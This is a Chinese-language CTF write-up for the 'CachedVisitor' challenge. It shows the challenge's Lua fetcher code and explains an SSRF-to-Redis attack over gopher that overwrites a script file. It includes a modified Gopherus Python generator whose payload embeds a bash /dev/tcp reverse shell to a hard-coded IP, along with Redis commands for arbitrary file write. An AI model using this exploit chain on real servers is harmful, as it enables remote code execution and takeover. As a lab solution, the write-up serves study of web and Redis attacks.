明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂
CachedVisitor这题
大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码
main.lua
local function read_file(filename)local file = io.open(filename, "r")if not file thenprint("Error: Could not open file " .. filename)return nilendlocal content = file:read("*a")file:close()return content
endlocal function execute_lua_code(script_content)local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")if lua_code thenlocal chunk, err = load(lua_code)if chunk thenlocal success, result = pcall(chunk)if not success thenprint("Error executing Lua code: ", result)endelseprint("Error loading Lua code: ", err)endelseprint("Error: No valid Lua code block found.")end
endlocal function main()local filename = "/scripts/visit.script"local script_content = read_file(filename)if script_content thenexecute_lua_code(script_content)end
endmain()
visit.script
##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.urlif not url thenngx.say("URL parameter is missing!")return
endlocal red = redis:new()
red:set_timeout(1000)local ok, err = red:connect("127.0.0.1", 6379)
if not ok thenngx.say("Failed to connect to Redis: ", err)return
endlocal res, err = red:get(url)
if res and res ~= ngx.null thenngx.say(res)return
endlocal c = curl.easy {url = url,timeout = 5,connecttimeout = 5
}local response_body = {}c:setopt_writefunction(table.insert, response_body)local ok, err = pcall(c.perform, c)if not ok thenngx.say("Failed to perform request: ", err)c:close()return
endc:close()local response_str = table.concat(response_body)local ok, err = red:setex(url, 3600, response_str)
if not ok thenngx.say("Failed to save response in Redis: ", err)return
endngx.say(response_str)
##LUA_END##
题目预设的visit.script是与内网的redis通信,可以打用gopher协议打redis任意文件写,但题目没有计划任务,考虑直接覆写/scripts/visit.script
因为有##LUA_START##(.-)##LUA_END##包裹,所以不会被脏数据影响
直接用redis-over-gopher一直打不通
sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub
Gopherus有一段类似的逻辑,它的反弹shell是通过覆盖计划任务文件来实现
于是这里通过修改gopherus的/scripts/Redis.py来生成payload
import urllibdef Redis():def get_Redis_OverWrite():target_dir = raw_input("input target dir: ") or "/scripts"ip = raw_input("input rev ip: ") or "27.25.151.98"port = raw_input("input rev port: ") or "1337"file = raw_input("input target filename: ") or "visit.script"file_len = len(file)cmd = """##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##""".format(ip, port)len_cmd = len(cmd) + 5payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
${}\r{}\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
${}\r
{}\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
${}\r
{}\r
*1\r
$4\r
save\r""".format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)finalpayload = urllib.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")print("\033[93m" + "\nYour gopher link is ready to overwrite file: \n" + "\033[0m")print("\033[04m" + "gopher://127.0.0.1:6379/_" + finalpayload + "\033[0m")print("\n" + "\033[41m" + "-----------Made-by-Z3r4y-----------" + "\033[0m")get_Redis_OverWrite()
直接打入
成功反弹shell